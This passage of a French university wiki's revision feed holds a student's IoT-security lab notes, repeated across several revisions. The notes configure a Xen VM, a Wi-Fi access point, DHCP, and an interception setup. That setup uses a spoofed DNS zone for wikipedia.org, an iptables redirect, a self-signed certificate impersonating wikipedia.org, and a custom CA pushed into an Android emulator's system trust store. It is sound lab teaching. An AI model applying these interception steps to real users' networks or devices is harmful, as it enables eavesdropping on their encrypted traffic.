==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10916</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10916"/>
		<updated>2025-12-04T16:14:36Z</updated>

		<summary type="html">&lt;p&gt;Handrian : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour activer&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Création disque ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Installation de l'android ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10858</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10858"/>
		<updated>2025-11-18T16:10:21Z</updated>

		<summary type="html">&lt;p&gt;Handrian : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0   &lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;  Networking&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Configuration ====&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up &lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour activer&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Création disque ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Installation de l'android ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10728</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10728"/>
		<updated>2025-11-04T12:54:22Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Génération du certificat auto-signé pour Apache, */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
